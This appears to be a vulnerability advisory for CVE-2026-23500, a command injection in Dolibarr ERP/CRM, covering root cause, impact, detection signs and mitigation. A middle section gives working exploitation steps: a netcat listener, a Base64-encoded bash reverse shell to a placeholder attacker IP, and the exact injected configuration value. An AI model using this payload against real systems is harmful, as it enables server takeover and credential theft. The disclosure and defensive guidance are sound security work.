CVE-2026-23500: 
PHP vulnerability analysis and mitigation

CVE-2026-23500 is an OS Command Injection vulnerability in Dolibarr ERP/CRM that allows an authenticated administrator to achieve remote code execution (RCE) by injecting arbitrary OS commands via the MAIN_ODT_AS_PDF configuration constant. The vulnerability affects all Dolibarr versions up to and including 22.0.4, and was disclosed on April 17, 2026. It carries a CVSS v3.1 base score of 9.1 (Critical) and a CVSS v4.0 base score of 9.4 (Critical) (GitHub Advisory, Github Advisory).

The root cause is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The vulnerability resides in htdocs/includes/odtphp/odf.php (approximately line 930), where the MAIN_ODT_AS_PDF global configuration constant is retrieved directly from the database and concatenated unsanitized into a shell command passed to PHP's exec() function: $command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);. While the filename $name is sanitized via escapeshellcmd(), the configuration variable itself is not, allowing an attacker with admin access to inject command separators (e.g., ;) followed by arbitrary OS commands. Exploitation is triggered whenever an ODT template is generated (e.g., for Proposals or Invoices), requiring the "Commercial Proposals" module and ODT templates to be enabled (GitHub Advisory).

Successful exploitation grants the attacker arbitrary OS command execution with the privileges of the web server user (typically www-data). This enables reading sensitive configuration files (including database credentials), modifying application code, and potentially achieving full system compromise through container escapes or lateral movement to adjacent systems. All three security pillars — confidentiality, integrity, and availability — are rated High for both the vulnerable and subsequent systems in the CVSS v4.0 scoring (GitHub Advisory, Github Advisory).

A public proof-of-concept exploit is available on GitHub (authored by the reporter Łukasz Rybak), providing a complete step-by-step guide with concrete payloads to achieve RCE on a real Dolibarr instance (PoC Repository). The official security advisory also includes a detailed PoC with the exact injection payload (GitHub Advisory). The EPSS score is approximately 0.146–0.166%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing. The vulnerability is detected by Nessus plugin 308164 (Tenable).

1. Prerequisite Setup: Ensure you have authenticated administrator credentials for a Dolibarr instance running version ≤ 22.0.4, with the "Commercial Proposals" module enabled and ODT templates activated in its configuration.
2. Set Up Listener: On the attacker's machine, start a netcat listener to receive the reverse shell: nc -lvnp 4445
3. Encode the Payload: Encode the reverse shell command in Base64 to avoid special character escaping issues:

   echo "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1'" | base64
   # Example output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK

4. Inject the Payload: Log in as administrator, navigate to Home → Setup → Other Setup, and set the MAIN_ODT_AS_PDF constant to:

   jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash

   (The jodconverter prefix satisfies any initial binary check; ; acts as a command separator.)
5. Trigger Execution: Navigate to Commerce → New Proposal, create a draft, select an ODT template (e.g., generic_proposal_odt), and click Generate.
6. Receive Shell: The netcat listener receives an incoming connection, granting an interactive shell on the server as the web server user (www-data) (GitHub Advisory, PoC Repository).

• Logs: Dolibarr application logs or web server access logs showing modification of the MAIN_ODT_AS_PDF configuration constant via the "Other Setup" admin page (/admin/const.php); log entries showing ODT/PDF generation requests immediately following configuration changes.
• Database: The llx_const table entry for MAIN_ODT_AS_PDF containing unexpected values with command separators (;, |, &) or Base64-encoded strings instead of a plain converter binary path (e.g., jodconverter).
• Process: Unusual child processes spawned by the PHP/web server process (e.g., bash, nc, curl, wget, python) during ODT template generation; outbound network connections from the web server to unexpected external IPs on non-standard ports.
• Network: Outbound TCP connections from the web server to attacker-controlled IPs (e.g., on port 4445 or other non-standard ports) coinciding with document generation activity.
• File System: New or modified files in the Dolibarr installation directory, web shells, or unexpected cron jobs created under the www-data user account (GitHub Advisory).

Upgrade Dolibarr to version 23.0.0 or later, which contains the fix for this vulnerability (Dolibarr Release). If immediate patching is not possible, restrict administrator access to only fully trusted users and audit the current value of the MAIN_ODT_AS_PDF constant in Home → Setup → Other Setup to ensure it contains only a safe, expected binary path (e.g., jodconverter) without any command separators or encoded payloads. Additionally, consider disabling the ODT-to-PDF conversion feature or the Commercial Proposals module until the patch can be applied (GitHub Advisory).

The vulnerability was reported by security researcher Łukasz Rybak and published by Dolibarr maintainer eldy on April 17, 2026 (GitHub Advisory). A technical write-up was published on Infinit Security's blog shortly after disclosure (Infinit Security). The CVE was noted on social media platforms including Bluesky and tracked by vulnerability aggregators such as VulDB and CVEfeed, indicating moderate community awareness.